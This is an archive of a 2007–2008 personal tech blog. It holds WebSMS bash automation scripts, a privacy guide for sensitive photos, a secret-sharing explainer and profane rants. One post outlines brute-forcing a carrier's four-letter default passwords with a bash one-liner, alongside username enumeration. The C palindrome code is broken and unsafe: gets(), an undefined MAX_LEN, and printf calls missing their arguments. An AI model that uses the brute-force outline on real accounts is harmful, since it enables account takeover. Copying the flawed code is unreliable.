and be done with it. Make sure you escape '!' to '\!' or else it'll act funny :|

Hope that helps Mr.SubCorpus, and the rest of you. Idea's/Suggestions/Criticsm are welcome :)

webSMS through bash, revision 2!

2008-06-08T01:02:00.000+05:00

I had a few minutes to tinker with it today so I thought I'd clean it up a bit. I cleaned up the regex and made it a bit more talkative. I run this thing on my iPhone now too :) works like a charm. so without further delay -



#!/bin/bash

cd $HOME

user=$1
pass=$2
number=$3
msg=$4

echo -e "\nAuthenticating ... Getting cookie"
if [ -n "`curl -s --compressed -c cookiejar -d \"username=${user}&password=${pass}\" \
    http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | \
    sed -n \"s/.*\( 0 more \).*/\1/p\"`" ]
then
    echo "Shit! You've hit that quota."
    exit
fi

echo "Message is `expr length "${msg}"` characters long"

if [ `expr length "${msg}"` -gt 140 ]
then 
    echo "Message will be truncated"
fi

echo "Attempting to send message... "
curl -s --compressed -b cookiejar  -d "mobilenumber=${number}&message=${msg:0:140}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | sed -n 's/.*\([yY]ou .* Day\).*/\1/p'
echo -e "Done!\n"

rm cookiejar

home made PORN, and security!

2008-05-27T12:00:00.000+05:00

So recently I had the misfortune of overhearing a conversation whereby an acquaintance of mine (she lives in my neighborhood, pretty girl really) tell whoever it was about how some... "sensitive" photographs of herself got "leaked" on the internet. Now we all know this kinda thing has been going on for ages and ages but the tragedy is that apparently "people" still don't take adequate measures to protect themselves.

Now I'm not saying there's anything wrong with photographing, or even videoing yourself and/or others - with their consent of course - and in face, it would pure hypocrisy for me to tell you not to do it. Heck I've been doing it for so long it's almost like a hobby now, but I've never had to face said situation because I've always been careful about where and how I kept my data (as in not just "sensitive" photographs but sensitive stuff in general).

There are a few simple rules to follow if you don't want to get caught/exposed

1. Encrypt everything

If it's out in the open it's practically fair game and sometimes hiding something isn't enough! You gotta put a lock on that box if you know what I mean. I know lots of people who'd think that simply hiding the folders in some nook is enough but it's not. Encryption is the key people. Password protected Zip/Rar/ACE (whatever) files are NOT repeat NOT an option! (second favourite option for the less enlightened). The reason why it's not a good idea is because when you use a zip file, most often (there are exceptions I believe) temporary data is written to disk and THAT puts you at risk because that data can be recovered quite easily. Besides that a LOT of tools exist to bruteforce (crack the password of) these archives.

I recommend using an on-the-fly-encryption program of good reputation. I've used and trused Truecrypt for ages and before that I used to rely on something called Cryptainer (there is a free version availible). These have the advantages of allowing you to work almost directly off the encrypted data and not leaving traces on the host computer, and providing strong encryption. In addition to that there are availible to you more options for authentication than by simply putting a password on it. more on that later -

2. Strong passwords

Any lock is only as good as it's key mate - if a pin tumbler had just one pin an infant with a toy could probably pick it! (err..never mind if you didn't understand that bit) All I'm saying is that if your password is something like "fuckyou","iloveyou","iloveyoutoo" or "123456789" (which believe me are ridiculously common based on a bunch of passwords I managed to get my hands on from a forum db dump a year or two ago), then you might as well forgo the whole encryption deal so - long (at least 14 characters), random (avoid dictionary words), include numbers, punctuations and special characters.

TrueCrypt (and others) offer something called a keyfile, which is an ordinary file that you will need to open a "vault". The idea is that nobody knows which file you need except you.. so it's basically a second password. In the past I've used this method as a sort of multi-party authentication thing... more on that later!

2.1 Your computer login password doesn't protect you

All it takes for somebody to grab all your files is to pop in a CD into your drive, boot up a portable system and just sweep it all up into a portable hard disk or something. Disk encryption is available in most modern operating systems. You might want to look into that.

3. Card to vault and never out!

That was pretty self explanatory wasn't it? If you're using a digital camera copy directly to the encrypted vault and don't take it out of it. If you want to Photoshop and stuff, you can do it from within the vault itself... but if you absolutely must take it out into the open, read about "shredding" below.

4. Don't delete - Shred!

You may think you're safe once you've clicked that delete button but you're wrong. Deleting doesn't remove the actual data (most of the time...always exceptions), but just the reference to it. So the computer can't find it - but the actual stuff is still there on disk and can be recovered using special software. This is why those temporary files are so dangerous! To securely remove anything you gotta overwrite that data with something else. Eraser is a good program that can be used just for that! So if you ever want to delete something permanently... use a good secure wipe tool (Eraser on windows is recommended, for linux there's the built in shred command..good ol' linux!!!) wipe it good people..hehe.. don't forget to wipe the memory cards too, and flash drives you've used to carry it (only when you need to though...)

5. Never ever lend out a camera or flash drive to a friend without wiping it first...never...EVER!!!

'Cos this is probably where most of the stuff gets leaked anyway. As stated above, it's easy as zap to recover deleted files so - you know what that means. You can trust anyone..but not the devil inside em as that guy.. (what's his name?) said in that (what's that movie?) movie! This goes to memory cards on cellphones as well. Five minutes is all it takes and all your kinky habits are for the world to know :| a good recovery prog you say? umm..try Recuva (it's free) and Photorec/Testdisk on linux. (even free-er).

6. Trust??

so your ex-boyfriend did it eh? shouldn't have trusted him in the first place eh? hehe... well shit happens sucks to you! Just kidding. Prevention before cure that's what they say. Multi-party authentication! like needing two keys to open a door - you could, say, make a truecrypt volume with a bunch of keyfiles needed - give some to the guy keep some for yourself so that the vault can only be opened when you're both present! Of course you can explore the "Secret Sharing" (oh yea! there is a use for it) option I was talking about before... TrueCrypt's dev docs have mentioned supporting hardware tokens (eg.flash drives) and stuff so you should see a lot of improvement in this area sometime in the near future.

oh and one more thing... those computer repair guys? Megachip? Focus? I wouldn't trust them if I were you. Trust me you wouldn't trust them. oh and CELLPHONES GET STOLEN!!! do keep that in mind.

well there you have it... there are probably more comprehensive umm.. paranoia guides out there than this, but I just wanted to rant about it. I hope I didn't bore you or anything... much :) I love you all mwah mwah

- photo source "Sadness" by xxNeutroNxx on DeviantArt

Land Ho!!!

2008-05-02T23:56:00.000+05:00

HAarrrrRRrrRRr...!!!

alright let's cut the B.S and get right to it. It hasn't exactly been sunshine and babes to this point. Let's go over my "abrupt holiday" checklist shall we?

1. Almost miss the flight because SOMEBODY forgot to book a car... CHECK
2. Surprise for the girlfriend...spoiled...thanks dad... CHECK.... well it wasn't that bad
2.5 Discover my old phone number is still messed up so old friends can't call me...CHECK! VELVETTE... I'm looking at you! (lost it again sorry hun)
3. Find my home server broken and un-bootable... CHECK (GODDAMNIT!!! FUCK!!! my preeeccciouuusss!!!)
4. Unsuccessfully try to repair said server so I can get on internet... CHECK
4.3 Visit the old office..discover your replacement is a lipstick wielding "lady" on stilts...possibly hiding Saddams fabled stash of mustard gas somewhere on her from the smell of it...CHECK
4.4 explain everything over and over and over to...you know...CHECK! fucking bitch! maybe if you stop flipping your hair every two seconds and checking your pose... THIS IS MY REPLACE MENT? I AM SERIOUSLY SERIOUSLY INSULTED OVER HERE.
4.5 put up with said "lady" telling me how ridiculously complicated my code is...and try to lecture me on coding etchics...CHECK.. it's mostly VBA in excel for Christs sake! you call yourself a sys admin? who hired her anyway?
4.6 spend four hours fixing the old systems that they managed to break...CHECK... holy shit I can't believe you still have w32/brontok running around in there...I thought I got rid of that fuckhead ages ago!??
5. Get drenched in a ..flash..rain..type thing...CHECK... excellent work there Ham.
6. Fall sick on the third day home... CHECK
7. Stay home for four more days because I can't move because everytime I do I puke ... CHECK
8. Suffer...CHECK!
9. dad...medication...too much..food...suffocation...CHECK CHECK!!!
10. GO MAD... CHECK!

Holy crap the universe is conspiring against me man...

FUCKING ASSHOLES!!!

2008-04-21T13:59:00.000+05:00

I SWEAR TO GOD I AM GOING TO KILL ONE OF YOU MOTHER FUCKERS! FUCKING POLITICS...INDIA SUCKS!!!

I mean it's one thing to delay your exams..but cut out the holiday on the other end? and not to mention not letting you know just HOW delayed the exam is going to be... I swear I'm so pissed off right now I could ram a broom up the ass of whoever is responsible...repeat for all known accomplices...

FAAACCCCCCCK!!!! ARRRRRRRRRRRRRRRRRRRRRRGGGGGGGHHHHHHHHHHH!!!!!
GODDAMNIT!

webSMS... passwords...beware...!

2008-04-16T10:54:00.000+05:00

Boredom can breed a lot of bullshit where I'm from, and this just happens to be one of those thing. A couple of days ago I was bored out of my skull and thought I'd have a look at the security on everybody's favorite website. Yes that's right. Dhiraagu's WebSMS!!!

Long story short I was NOT happy with what I found. I'm not going right out and err...divulging anything big here (for fear of script kiddies and stuff), but let's just say it has one bug too many. However, some of these are so utterly... stupid? for a company of Dhiraagu's magnitude I just can't let them go unnoticed.

Let's go over what we know then shall we?

1) The sign up process is fairly simple and straight forward. You give then a name (first and last), a username and your cell number.

2) They send you a confirmation sms with your password. These passwords are by default made up of FOUR upper case letters in various combinations. I cannot verify how random they are. we all know nobody really changes these. (which you should!)

3) Four letters? I mean cummon! That's only like ²⁶P₄ = 358800 combinations. Which say by brute forcing at about 5 passes/sec is a total of 71760 seconds - roughly 20 hours and more than reasonable time to crack one.Edit : Turns out the above calculation is wrong. It's actually 26⁴=456976 combinations, which adds about 5 hours to the total time estimate above.

4) The redirects for when you enter an invalid username, and when you enter an invalid password (correct username) are different; revealing far more information than it should. i.e, a would be attacker can check if a given username exists or not.

5) Non of the traffic, absolutely non of it is encrypted - making it so very very easy to sniff. They even use "password" as the name for the form field so that should make dsniff pretty happy I think.

Right then, so how easy would it be for say, ME, to write a script based on the above information and crack such a password? VERY easy. I mean all I'd have to do is generate all password combo's (in bash that's as easy as typing "echo {A..Z}{A..Z}{A..Z}{A..Z}" ) , and try them one at a time until I'm redirected to the right page...right?

can it be done? It's already been done...

so basically what I'm trying to say here is CHANGE THAT DEFAULT PASSWORD!!!

hehe...

Clash of the Titans...

2008-04-06T14:05:00.000+05:00

So it looks like the race is on. Fedora and Ubuntu going head to head this month with their new releases. Fedora 9, vs Ubuntu 8.04 Hardy Heron. This should be interesting. If the stats on distrowatch.com are anything to go by, it seems like people are getting into the buzz already. It's a pity the SUSE guys are not coming out around the same time too. would've been really interesting then oh yes... hehehe.

I just realized.. I suck at this :P
Things have been really hectic of late. Assignments and shit like that.

o hai!!!

2008-03-22T16:10:00.000+05:00

so i wuz like surfzin thru d netz 'n lolz omg gigigigigigigig... u wudz not omg believe wh00t lil ol me founds srsly!

bleh!

shhh... there're a few dead bodies hidden around here. don't tell the boys in blue ei?

WebSMS through Bash...

2008-03-12T13:51:00.000+05:00

A quick (QUICK as in...don't mind if the code is a bit sloppy but it works) Bash script I wrote up to send sms's throught Dhiraagu's websms site...command line style :) I've always been frustrated by the whole website routine... and besides, this makes a whole shitload of stuff simpler like say...sending your girlfriend an sms every day at a certain time or...sms'sing yourself when your torrents are done.

usage

./websms USERNAME PASSWORD MOBILENUMBER MESSAGE

*-note
you need cURL (the version in debian/ubuntu repositories are fine)

EDIT :
Some people have been having problems - remedies to complaints so far.

1) please note that THIS SCRIPT is NOT IDIOT-PROOF.
2) script has to be executable. (chmod +x filename)
3) if your message has spaces you need to enclose it in " "
4) if your message is longer than 140 chars it will be truncated.
5) special characters in the messages such as ! and & have to be escaped (type \!) because they have special meaning in Bash.
6) Scheduling can be done using "at" or "cron"..depending. alternatively you can opt for a GUI method and install gnome-scheduler to help you out.



#!/bin/sh
#usage "./websms username password number message"

cd $HOME

curl --progress-bar -c cookiejar -d "username=${1}&password=${2}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl | grep -i "day" | sed -e 's/<[^>]*>//g;s/^[ \t]*//'

curl --progress-bar -b cookiejar  -d "mobilenumber=${3}&message=${4}" \
http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl | grep -i "day" | sed -e 's/<[^>]*>//g;s/^[ \t]*//'

rm cookiejar

BzzZzZZZzzZZZZZZzzzzzzztttttt!!!!!

2008-03-09T21:20:00.000+05:00

alright so somebody's been fucking withe wiring in my house and now every appliance I/we own is supercharged and ready to deliver that oh-so-tingly kabbbbzzzzzt!!! Personally I think SkyNet is behind it... I expect to find a naked (well built) man outside my door any day now :|

make me!

2008-03-05T16:29:00.000+05:00

over heard in a computer lab...

Boy: You have to go, everybody else is going..!
Girl: Sudo Me!!!

This reminds me of "sudo make me a sandwich" :)

slipping away...

2008-02-26T22:05:00.000+05:00

to quote Aerosmith...

When you don't look back I guess the feelings start to fade away

I used to feel your fire
But now it's cold inside...

But then again, somethings never fade away. Some wounds leave a scar :)

btw, sharing secrets part 3 will be up as soon as I get off my arse/find some time.

Eff you windows!!!!

2008-02-22T03:42:00.000+05:00

ARRRRGH!!!!

understand this microsoft... my computer is MY COMPUTER not yours. I have the fricking right to access my goddamned files! you do NOT block access to my own files because you think it's a frigging "Potential security risk"...BlLLAHAHHAHAHAAH...

die bitch DIE!!!

I always suspected Microsoft would try to take over the world one day... :| too bad mates Google beat you to it :p

iPhone WebClip icon - Dhiraagu

2008-02-12T19:08:00.000+05:00

I use the websms site quite frequently so I made a webclip to it on my iPhone but I didn't like the icon..so I made my own

and how it looks..

if you want to change your own webclip icon, save the icon image above, rename it to "icon.png" and then upload it (SSH or whatever) to "~/var/mobile/Library/WebClips/xxxxxxxxxxx.webclip" folder, where xxxxxxxx is the corrosponding folder name. FW 1.1.3 only i think.

palindrome.c

2008-02-06T17:32:00.000+05:00

A simple program in C to test if a given sentence is a palindrome.

I'm publishing this for two reason.

1. Some people want to cheat
2. I wanted to test the Google code prettifier.

NOTE *- This code is in C89, and is designed for DOS. primarily, for Turbo C (Normally I stick to GCC, but somebody asked for this.)



#include<stdio.h>
#include<string.h>
#include<ctype.h>
#include<conio.h>

int main(void)
{
   char input[MAX_LEN],buffer[MAX_LEN],bufferrev[MAX_LEN];
   int i=0,j=0;

   printf("Enter your test string\n");
   gets(input);
  
   //Sanitize and remove spaces from input, if any.
  
   do
   {
       if(!isspace(input[i]) && !ispunct(input[i])){    //isspace() is provided by ctype.h
           buffer[j]=input[i];
           j++;
       }
       i++;
   } while (input[i]!='\0');
  
   buffer[j]='\0'; //append null character to end. Required for
                   //string.h functions to operate properly.
  
   //end sanitation code

   strcpy(bufferrev,buffer); //copy contents of buffer to bufferrev
   strrev(bufferrev);        //reverse bufferrev. provided by string.h

   if(strcmp(buffer,bufferrev)==0)
       printf("\"%s\" is a palindrome!\n");
   else
       printf("\"%s\" is not a palindrome!\n");

   getch();
   return 0;
}

LuraTech LWF image decompressor GUI

2008-02-01T18:30:00.000+05:00

Here is a windows GUI front-end for the "command-line tool" from www.luratech.com that I coded sometime in 2005.

If you don't know LuraWave LWF, it's a state-of-the-art image format that uses wavelets instead of the usual DCT/DFT to compress them. It's able to achieve much much better compression ratio's than any other image format I know. I've included a sample image in the archive. (lwf - 179 KiB vs JPEG 1.4MiB). It's a great format, unfortunately it's proprietary so support for it is limited - IrfanView, XnView and ACDSee support it (acdsee via a plugin) - but that's about it. It also has a form of built in protection scheme ; you have to supply the correct password when decoding the file (if it is protected), or else the image is decoded at a quality specified at compression time(just a mass of gray if you set it low)

The JPEG2000 standard and LWF share their foundations.

I did not include the "command-line tool" in the archive for obvious reasons. You'll have to get that yourself from the luratech website if you are interested. In either case the format is worth a look.

Screenshots running under WINE hence the weird color. It actually blends with the system theme, and there IS an icon you just can't see it under WINE.

Surf through time and go WayBack!

2008-01-27T21:49:00.000+05:00

Don't you ever wish that you could go back in time and relive a particular moment in time? Of course you do! If you said no then go back to your home planet you FREAK! Just kidding. For those of you who said yes... there is hope for you!

The Internet Archive, like google indexes sites, takes snapshots of them and preserves them. It has been doing so since 1996!!! there's more than a decade of history in there. (Creds to gizmodo for reminding me about this site)

I'd love to post some screenshots of the stuff I found today but I'm forced to work out of my "phone" right now so I'll have to let you guys have all the fun for now.

Go ahead and explore the history of the internet. Check out some of the old Dhivehi sites like the ones below. There are tonnes of other. Please leave links to interesting finds in the comments. keep an eye out for certain trends. Obviously whole web thing began in 1998, and really BOOMED around 2005. (broadband?)

http://www.presidencymaldives.gov.mv/
http://www.dhiraagu.com.mv/
http://www.dhivehinet.net.mv/
http://www.haveeru.com.mv/
http://www.oriyaan.cjb.net/ (NSFW - an early attempt by some guy at Maldivian porn)
http://www.maldivesstockexchange.com.mv/

Bashing the iPhone?

2008-01-27T13:30:00.000+05:00

so apparently some people are going about blabbing about how ridiculously bad a phone the iPhone is. No MMS eh woo oh my now that really sucks now doesn't it? I guess that it is beyond most people to think that the iPhone is not, in fact, a phone. It is rather, an idea. While all the bigshot cellphone/PDA/vibrating vegetable makers were busy pushing us nothing more that techno salad at ridiculously high prices, the iPhone walked in and slapped them all in their faces. Wake up you cooporate bean bags!!! This...idea...has redefined the very standards of this genre. This is why the N95 for example -an infinitely more capable and better phone than the iPhone- will never have the same recognition. It will never be as coveted...the I is history in the making!

If you fools are going to mock it like Xerox mocked the idea of a graphical operating sytem then God help your children. This is the fact people...the i may not be the most feature rich "phone" out there, but wait and see the impact it has had. Just wait and see just how many people follow in its footsteps.

woooooh....!

2008-01-21T22:10:00.000+05:00

Whoa-oa-oa! I feel good, I knew that I would, now
I FEEEEEEL good, I knew that I would, now
So good, so GOOOOOOOOD... oh fuck it who am I kidding?

Dhivehi fontpack for Linux

2008-01-12T14:14:00.000+05:00

not much to tell here, just a collection of some fonts that are commonly used by the websites around here, and a script to install it. extract and run the script.Thanks to Vishah for his script. This is basically the same except that there are some more fonts thrown in and the downloading is already done.

download here

In other news, I'm alive. Not kicking much. Thanks for dropping in.

My glass is full!

2008-01-02T16:37:00.000+05:00

A boring day at college, a boring lecture on half-filled/half-empty glasses and a brief moment of inspiration... and this happened somehow. Dedicated to my baby.

and yes I do read XKCD

Back north

2007-12-31T23:04:00.000+05:00

so I'm back on the not so sunny side of life. I'm not entirely sure what this is supposed to be. Now then, let's see how I cope with another six months here in my home away from home.

Humanity

2007-12-27T21:20:00.000+05:00

I realized something today. I realized that no matter how kind or selfless you may think that you are, human beings are inherently selfish. Altruism is nothing more than idea as far as I'm concerned from this point on.

before you disagree with me, I do agree that there are those out there who are indeed truly selfless. Unfortunately even after millions of years of evolution there are still so few of you that it really just makes me want to kill myself. One would have thought that we humans, as civilization advanced would have realize that no matter how much we know or how smart we think we are, the only thing that we truly have in the end, the only thing that we truly need.. is each other.

now can't we all just...get along?

if you said no.. then fuck you!

Sharing Secrets 2

2007-12-24T01:10:00.000+05:00

When we last saw ~~sheep~~ shades, he was about to tell you how to share a secret. Let's get on with it then. If any of you were interested in the last post, which I doubt you were.. You'd probably have already followed the line and found out about it. (pardon if I don't make much sense here. I've just had a crapload of "heerapanna" and I'm not exactly sane at the moment...yes... the stuff messes with my head)

anyway. The way to do this is for example let's say you have a password 666. You want to share it among N number of people such that K number of people can retrieve it. Now as we all know, two points in a plane is enough to define a line. Three can define a parabola, four a cubic curve and so on. The idea is to construct a polynomial, of degree (k-1) which has 666 as the co-efficient of the zeroth degree.

Basically:

ax⁴ + bx³ + cx² + dx + 666

here, we have decided that k=5.
As we see this is a normal polynomial of the fourth degree. and a,b,c and d are the co-efficients of the equation. They are chosen randomly in this case, as our goal is to construct a RANDOM polynomial of (k-1) degree, with the secret weaved in as shown.

So then what do we give out to our friends? simply a pair of co-ordinates to a given point as obtained via the polynomial. for example, for N number of people, we can give out N pairs of co-ordinate. To do so, chose a random value, subsitute in place of x, and thus obtain the corrosponding value of y.

so each of our friends will now have a pair of values in the format (x,y).

Now, we properly dispose of the polynomial, and all we're left with are a few pairs of values.

Stay tuned for more... coming up after the break.

BTW I'm in male' for those of you who didn't catch my drift the other time so feel free to have coffee's at my expense or something. Thank you.

on the sunny side of life.

2007-12-19T11:10:00.000+05:00

Here, on the sunny side of life, things are....well sunny.. NOT! gah! blech... haaagagagagagaggaa.... pout.

That annoying websms site..!!

2007-12-15T00:02:00.000+05:00

I have just about had it with Dhiraagu's websms page acting up with Firefox, so today, I decided to take the matter into my own hands. The problem is that *sometimes* the page will keep asking you to log-in again and again and again until you go mad. Whether this is by design or not remains a subject of debate.

Anyway, it seems the problem to be the cookies not expiring like they should and being reused. I'm not entirely sure if this is an issue with Firefox, or Dhiraagu's implementation. (IE users don't have this problem as far as I know).

fortunately the problem can be remedied relatively easily.. at least in part.. by configuring Firefox's cookie preferences. Simply go to Tools->Preferences (Edit->Preferences in Linux). Under "Privacy" you will see an option block for cookies. Click "exceptions", and enter "websms.dhimobile.com.mv" in the textbox. Click "Allow for session" and you're done.

What this does basically is delete Dhiraagu's cookies every time you close Firefox. It seems to be working out for me so far. Give it a try and lemme know how it turns out.

My Linux propaganda

2007-12-12T12:01:00.000+05:00

Under my ever continuing rampage against "the man", I am proudly announcing today that I have successfully converted 6 young people to full time Linux users within the past two months. Actually I'd just finished showing the last two of them around the system. Lots of aaaahhh and oooohs involved there.

Unfortunately I can't take all the credit here, because Vista did most of the work for me. They were already sick and tired of... well... you know what I mean. Like I said before, it's not microsoft.. it's just that vista isn't ready. Let's hope the upcoming service pack can um..improve the usability a bit eh?

IN OTHER NEWS...

I'm still being beaten up by the chicks... NOT! hehehe.

here's a mac and PC going at it...

Sharing Secrets!

2007-12-10T15:16:00.000+05:00

WARNING - TECHNO/MATHSO BABBLE

let's look at a hypothetical situation here. Assume you and your lot discover something valuable (like say the secret behind what make women tick?). Now being the paranoid bastard that you are, you don't trust your friends not to leak the secret. What do you do? No you don't all make them sign a magical contract and have them break out in ugly warts if they told (you couldn't do that even if you wanted to could you? I thought not.).

Ok let's let that linger now, because (obviously) I'm about to tell you A way you could go about the problem. Notice "A" way it's not "The only" way.. basically what that means is "quite taking peoples word for stuff and do your own research.. or don't whine about it later saying it's your fault yooooooooo effin bastarr**)($_#@4..." (goes into an uncontrollable fit of temper...just kidding)

TO THE POINT ALREADY!

enter Adi Shamir. The mathematical genius who gave us such things as the RSA (the s in RSA) algorithm and so forth. (sorry Blakley your version isn't making the cut here). He devised a scheme in which a secret maybe divided into a number of pieces (n), so that any number (k) can be used to get back the original secret.

illustrate by example they always say.

Ok let's consider your moms secret recipe (for whatever). She divides it into 5 pieces (one for each one of her children), so that when she dies, the secret won't die with her or something like that. Now she has made the split so that any 3 of her children can get together and decode the recipe.

get it? 5 pieces, you need any 3 or the 5 to get back the original. Neat huh?

how? coming up in part 2. I gotta go study physics.

In other news, I got myself involved in a bitch-fest and now they're all beating the crap out of me on fightersclub (on Facebook), so if you happen to see me in there...jump in :D

frickin' exams!!!

2007-12-06T21:35:00.000+05:00

well that's one down, two to go and damn! It's been driving me insane and I don't like it. Usually exams are a breeze and I don't even have to pick up the damned books, but this is ridiculous! Not that I don't enjoy studying or anything like that, just that I've never really had to try. Shit! If this keeps up I might actually have to start studying... and that'd suck now wouldn't it? This can only mean two (the others are silly nothings I'm throwing in there to make the list longer) things people!

1. I'm dumber than I used to be (very likely)
2. This stuff is finally starting to become challenging (oooh... I do like the sound of that)
3. Somebody isn't telling me something...?

and

4. Yes I like making lists.

Now to waste some more time until it's two hours from the next exam so I can start cramming again. Aaaahhh life! gotta love it!

Photo Mosaics

2007-12-05T12:29:00.000+05:00

Just so I don't leave you guys without something to play with while I'm cracking my head against a wall... purely for artistic reasons of course... I give you, photomosaics. If any of you have ever seen those huge pictures built out of millions of tiny little pictures and wondered what they're called or wanted to make one of your own, you should be happy to know that

a) they're called photomosaics
b) they're really easy to make.

SAMPLE!

All you need is a bunch of pictures, and one picture you want to be built out of the other pictures. (yes .. that was deliberately meant to sound stupid.) Throw them all into a piece of software (pick one) and viola! instant art!

These things make great gifts. I once made a baby portrait out of a few hundred pictures of "said baby" growing up (from birth to one year and 6 months?).. the mommy went crazy. Try it! Maybe you romantic types can build a heart or something out of cuddly mushy pictures of yourselves.. 'nuff said then. The links! What's that? instructions you say? RTFM people RTFM!

For windows I recommend AndreaMosaic
For linux, Pixelize
For Mac, MacOSaiX

another good alternative is Jimage-Mosaic (Java)

I've used both Andrea and Pixelize in the past but mostly Andrea which imho gives better results.I haven't tried it on Windows Vista (God have mercy on those poor souls) so somebody lemme know if it still works.I seem to recall that it was built on Visual Basic (yes... the horror!)

Pixelize, uses GTK and Imlib... should work out of the box me thinks. It comes in pretty close to what you can get out of Andrea, despite it being totally pwn'd (hurts doesn't it?) by Andrea when it comes to features.

SAMPLE!

some more information.

http://en.wikipedia.org/wiki/Photographic_mosaic
http://en.wikipedia.org/wiki/List_of_photographic_mosaic_software

Alive!

2007-12-05T11:56:00.001+05:00

yeah just dropping a line here. Bite it if you will. I'm alive, just a little busy with the exams and everything...feffin' exams! gah! You'd think they'd have a better way of grading you by the time you reach for you degree... blech! kekek.

In the words of the Terminator... I'll be back!

(now if I could just get my hands on a Vulcan cannon and shoot...eheh..nevermind)

Salted Pickle...

2007-11-22T20:59:00.000+05:00

now some of you maybe wondering about the somewhat odd title of this post. To give you a heads up, it is an extremely complicated and cryptic riddle. One that one, and only one person may understand. Okay maybe I blew that a bit out of proportion there, but seriously this is going to get a little mushy so be warned! no bullshit comments about it later arrite? Now needless to say that title there addresses a particular individual, and if you are not the said "individual"...vamoos!

Ahem!

I know you go through this , I recognized your writing in the first comment I got (nobody else I know says "drug" for past tense of drag). Thanks. I wish you'd talk to me, at least let me know how you are... err... directly. the LostLittleAngel passed on your message. thank you! I was so relieved to know that you are, at least, alive...and the other thing.. well you know me! :) sucker for a good romantic one liner! I hope you're doing alright now, and that you accomplish what you set out to do.

I miss you! :) Hope I'll get to see you again someday, and that you didn't completely disappear from my life.

btw.. the Angel never spilled whatever secret you confided in her it's been driving me nuts! :p

what the...?

arrite people scatter along nothing to see here *grunt*..why're you looking at me like that? what?!?? It's a blog for pete's sake! yea I know I know...move along now! shoo! and don't you think this does anything to dampen my eeeeeeeeeeeeeeevilness..ness..ness..

Velvette!!!

2007-11-16T09:50:00.000+05:00

Happy birthday luv. I wish I could be there so I can take you out for a birthday pizza or something. Hey maybe I will when I get back on december yea? definitely should. Anyway, you're awesome! and I hope you stay that way.

happy birthday!!! :)

Got ubuntu?

2007-11-15T22:37:00.000+05:00

I've been running Linux for quite a while now and I don't think I've even been so home in all my years as a computer user/geek. Sure Windows has its quirks but damned if I'm caught running it as my primary OS. On that note, I have developed quite a hatred for Vista. All those lovely features they've put in there (windows live wave 2.0 suite is awesome... but the crashes give me migraines!).. what a waste!

Side note: Steve Balmer is a frigging Lunatic... or genius? take your pick.

To the point. I got my Ubuntu Gutsy (7.10) CD in the mail today. I'd been running Gutsy since the first tribe anyway, but I wanted to have a sort of keepsake. I'm petty like a little girl sometimes.Oh and look they threw in these lovely stickers too! (stuck on on the lid of my laptop...proud to be free friends.)

For those of you who don't have an idea about the whole ubuntu thing, check it out over at www.ubuntu.com. Now I know this isn't everybody's cup of tea, but you should at least look into it before going "oooh my linux cheee so technicalyy" or whatever.. prejudice I tell you pure prejudice! not to mention Canonical will ship you a free CD of it..all you got to do is ask. Imagine that... free vs.. a shit lotta money.

'nuff said! :)

I'll take that virus now!

2007-11-13T18:54:00.000+05:00

I've just about had it with these silly little viruses that propagate through MSN. I mean seriously don't you think people have a civic duty to clean their system of... said entities... you know just so that your "friends" can avoid being "violated" in a cyber..kinda way.

friend: "This picture isnt you... right? lol"
me : "err surely not"

another one: "hey, look at this picture from ebay. Its a necklace I want so badly."
me: "leave me alone you vermin!"

yet another: "lolz! do I looke silly in this picture? I want to upload it on facebook"
me: "crawl up in a ditch and f*$#@ die!!!"

seriously peeps...!
It's just really annoying!

Sheep in the big city

2007-11-11T20:57:00.001+05:00

Does anybody remember that weird looking cartoon that aired around midnight on cartoon network? yea the one with that silly sheep being chased by a bunch of guys from a top secret military organization who want to use him for a sheep powered ray gun.

I can't for the life of me understand why (actually I can but I'm being dramatic here) a lot of people don't like the show! Sure the artwork isn't exactly top notch, but the humor is spot on, and that's what I love about it. It's got to be my favorite cartoon series of all time if I do say so myself.

Anyway I found out yesterday that the entire season 1 is now up on youtube. This is a big deal see, because it was impossible to get your hands on it like..err..5 months ago? unless you were ready to pay for it on iTunes which.. nobody really is around here i guess.. *-)

Mo Willems (of Sesame Street fame) is a genius! gotta love the guy.

grab it in all its awesomeness..ness..nes..ness.. here!.

edit: It seems this is no longer availible...damn copyright bullshit

Stocks Screenlet for Maldives Stock Exchange

2007-11-11T18:03:00.000+05:00

NOT FOR WINDOWS...

for the sake of something to do and pass the time because it's so fucking boring around here today, I give you the mvStocks desktop screenlet. It's a quick hack of the original Stocks Screenlet (found here) to fetch information from this website instead of yahoo finance.

screenlet=widget => you need widget engine, in this case the screenlet engine
runs on LINUX... sorry peeps..really :(

download

screenshot !

Toto.. I don't think we're in Kansas anymore...

2007-11-10T21:51:00.000+05:00

After a long time letting this domain sit around with a flashy Matrix (I'm a geek. sue me!) animation and...well basically empty, I've decided to give this blogging thing a fling. At the behest of some good friends of course :p I'm just kidding...

so arrite kiddies.. welcome to the wonderful land of..blog? :D

( p.s, The Wizard of Oz is an awesome piece of literature. aah luurrv eeeet! )